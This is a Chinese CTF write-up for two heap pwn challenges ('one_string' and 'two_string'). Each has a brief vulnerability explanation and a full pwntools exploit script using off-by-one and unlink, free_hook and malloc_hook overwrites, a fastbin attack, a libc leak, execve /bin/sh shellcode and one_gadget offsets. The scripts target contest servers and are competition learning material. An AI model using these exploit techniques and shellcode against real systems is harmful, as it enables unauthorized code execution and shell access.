网络与信息安全领域专项赛 pwn writeup
比赛结束后3分钟做出来的pwn2,导致队伍与决赛无缘,真的气。最后调偏移的时候用了错误的libc,手忙脚乱之中打出gg。
one_string
静态编译的 x86的堆题目,漏洞在edit处,将strlen()的结果作为了新长度,导致off-by-one,用unlink往bss上写shellcode,并且修改freehook即可(freehook地址观察free函数可得)。
exp:
#!/usr/bin/env python
# -*- coding=utf8 -*-
"""
# Author: le3d1ng
# Created Time : 2019年08月15日 星期四 10时58分34秒
# File Name: exp.py
# Description:
"""
from pwn import *
from base64 import b64encode
#io = process('./pwn')
io = remote("df0a72047d6c.gamectf.com", 10001)
elf = ELF('./pwn')
context.log_level = 'debug'
context.terminal = ['terminator' , '-x' , 'sh' , '-c']
finalpay = ""
def add(l,c):
global finalpay
finalpay += '1\n'
finalpay += str(l)+'\n'
finalpay += c
def edit(idx,c):
global finalpay
finalpay += '3\n'
finalpay += str(idx)+'\n'
finalpay += c
def dele(idx):
global finalpay
finalpay += '2\n'
finalpay += str(idx)+'\n'
def debug():
gdb.attach(io)
io.interactive()
io.sendlineafter('ease input you token:\n','icqa04c9c6767e5cb71d3920291d9d55')
io.recv()
add(0x60,'0'*0x60)
add(0x80,'1'*0x80)
add(0x80,'2'*0x80)
add(0x80,'3'*0x80)
add(0x80,'4'*0x80)
add(0x80,'5'*0x80)
add(0x80,'6'*0x80)
dele(0)
add(0x20,'3'*0x20)
edit(0,'3'*0x20)
edit(0,'3'*0x24+'\xf1')
add(0xd0,'a\n')
chunkptr = 0x80eba44#44
pay = p32(0)*14 + p32(0)+p32(0x89) + p32(0)+p32(0x80)+p32(chunkptr-0xc)+p32(chunkptr-0x8)+p32(0)*28+p32(0x80)+p32(0x88)
edit(7,pay+'\n')
dele(2)
freehook = 0x080EB4F0
pay2 = 'a'*8+p32(freehook)+p32(chunkptr-0xc)+p32(0)+p32(0x80eb000+0x500)
edit(1,pay2+'\n')
sc2 = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
edit(3,sc2+'\n')
#pay3 = 'a'*0x8+p32(chunkptr-0xc)+p32(0)+p32(freehook)
#edit(1,pay3+'\n')
edit(0,p32(0x80eb000+0x500)+'\n')
dele(5)
finalpay += 'cat /flag\n'
finalpay = base64.b64encode(finalpay)
io.send(finalpay)
io.interactive(
two_string
合并处存在堆溢出,若所以chunk的内容加起来超过0x400就会溢出到后面的chunk,值得注意的是由于使用strcat,会被\x00
截断。所以改chunksize再free构造overlap chunk,接着泄露libc,fastbinattack 改mallochook即可 这里打远程得先在本地用对应的libc加载然后查看各种偏移. libc可以用pwntools库的函数自动下载:libcdb.search_by_md5('cfcef452ef69ea2dd73d6f55d7607c2b')
exp:
#!/usr/bin/env python
# -*- coding=utf8 -*-
"""
# Author: le3d1ng
# Created Time : 2019年05月09日 星期四 21时14分02秒
# File Name: loadglibc.py
# Description:
"""
import os
from pwn import *
def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
#example
#elf = change_ld('./pwn', './ld.so')
#io = elf.process(env={'LD_PRELOAD':'./libc.so'})
#from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator', '-x','sh','-c']
#io = process('./pwn')
io = remote('a32f094e35d7.gamectf.com',20001)
def add(s,c):
io.sendlineafter('>>> ','1')
io.sendlineafter('the size of string : ',str(s))
io.sendafter('the string : ',c)
def show(idx):
io.sendlineafter('>>> ','2')
io.sendlineafter(' input index : ',str(idx))
def dele(idx):
io.sendlineafter('>>> ','3')
io.sendlineafter(' input index : ',str(idx))
def merge(idx1,idx2):
io.sendlineafter('>>> ','4')
io.sendlineafter('er the first string index : ',str(idx1))
io.sendlineafter('e second string index : ',str(idx2))
def merges(s):
io.sendlineafter('>>> ','5')
io.sendlineafter('ings to be merged : ',s)
def debug():
gdb.attach(io)
io.interactive()
add(0x10,'0\n')
add(0x10,'1\n')
add(0x10,'2\n')
add(0x10,'3\n')
add(0x10,'4\n')
add(0x10,'5\n')
add(0x10,'6\n')
add(0x10,'7\n')
for x in range(7):
dele(x)
add(0x200,'a'*0x200) #0
add(0x200,'b'*0x1f8+'\n') #1
add(0x1f0,'c\n') #2
add(0x200,'d\n') #3
add(0x200,'bbbbbbbbbbbbbbbbb'+p64(0x281)+'\n') #4
add(0x60,'e\n') #5
add(0x200-0x60-0x10,'6\n') #6
add(0x200,'f\n') #7
add(0x200,'g\n') #8
dele(2)
dele(3)
merges("0 1 4") # 2
dele(4)
add(0x200,'a\n') #3
show(5)
offset = 0x3c1b58
io.recvuntil(' are : ')
libcbase = u64(io.recv(6).ljust(8,'\x00')) - offset
success('libcbase :'+hex(libcbase))
add(0x60,'a\n') #4 overlap 5
add(0x60,'b\n')
dele(4)
dele(10)
dele(5)
'''
0x45556 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x455aa execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf1691 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf2519 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
libc = ELF('./libc.so')
mallochookaddr = libcbase + libc.symbols['__malloc_hook']
libcrealloc = libcbase + libc.symbols['__libc_realloc']
fakechunk = mallochookaddr - 0x23
success('mallochook ' +hex(mallochookaddr))
onegad = libcbase + 0xf2519#0xf02a4#0xf1147
fakechunk = mallochookaddr - 0x23
success('fakechunk'+hex(fakechunk))
add(0x60,p64(fakechunk)+'\n')
add(0x60,'aaa\n')
add(0x60,'aaa\n')
add(0x60,'b'*19+p64(onegad))#+p64(libcrealloc+0x14)+'\n')
#add(0x200,'4\n') #4
io.interactive()